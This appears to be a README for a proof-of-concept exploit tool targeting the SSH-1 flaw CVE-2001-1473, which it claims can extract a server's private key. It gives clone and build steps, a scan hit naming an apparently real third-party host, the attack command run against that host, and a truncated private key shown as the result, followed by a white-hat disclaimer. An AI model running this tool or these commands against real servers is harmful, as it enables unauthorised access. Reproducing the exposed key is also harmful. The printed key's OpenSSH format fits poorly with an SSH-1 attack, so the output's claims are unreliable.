POC CVE-2001-1473

How to exploit CVE-2001-1473

We employed a novel approach to an age-old vulnerability in the SSH-1 protocol, as described by CVE-2001-1473. This vulnerability enables a Man-in-the-Middle (MITM) server to intercept an SSH-1 session between a client and a vulnerable server, potentially exposing the user’s private key. However, executing a practical attack necessitates the client’s usage of the attacking server as a hopping node and granting permission for unknown server keys, significantly increasing the complexity of a successful exploit.

Our adaptation of the original attack method enables the extraction of the SSH server’s private key itself, offering access to the vulnerable server with sshd permissions. Notably, this modified approach eliminates the MITM requirement and can be executed directly against the vulnerable server.

For technical details, read our paper.

Install

Clone:

git clone https://codeberg.org/bluef1sher/poc-cve-2001-1473.git

Build:

./configure
make
make install

The code is installed in /usr/local/bin.

Example

One of the vulnerable hosts detected in nuclei scan:

[CVE-2001-1473] [tcp] [high] nmr.ioc.ac.ru:22

Launching an attack:

dcow -s nmr.ioc.ac.ru

pk retrieved:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA18RGKpk+UHIKVDnRcaoHI97YDp1mAu+9gMcako/uFZkRFG1p/XHz
CL+/EZ9cGc0KT6fRzAGHxxfeJ4j4gsAFzBFaMWx2jfEinduSQGdxi4JtdqCY2Y8+YrIORg
mpOtwi+Pxue1R4JndIhH+AXVUptODrU1clBtZePcLd5aG4JVzyX0c2+BA0ekadyhAySvqS
bTCTQNVt0eB0JUmHjYh3FIk9AjnAnDe6F7iPeq0dPwfSAY13QS3WGX38tMWjDHntrWACEf
9zE9QCDDquwM3hs3cah9c+jzvDK2AKD3EOwXHF8Df4CHZ2L4x3AXqxbRgZZE3+nTa0Dt4h
ITAsyKp7a0DVzCwtK0DB1LfUPkWnxeIMcZQkTdcjypr9/9VqgacHvZjmKOf3utBglHfnWk
...

Disclaimer

This Proof of Concept (PoC) is intended solely for white-hat purposes and educational use. It has been created to demonstrate potential security vulnerabilities in a controlled, ethical, and lawful environment. It is not designed for malicious activity, exploitation of real systems, or any illegal purposes.

Any unauthorized or illegal use of this PoC is strictly prohibited and may result in legal consequences. The author is not responsible for any misuse of this code or any damage caused by its improper use.

Use this PoC responsibly, within the bounds of ethical hacking guidelines and in accordance with applicable laws.


See also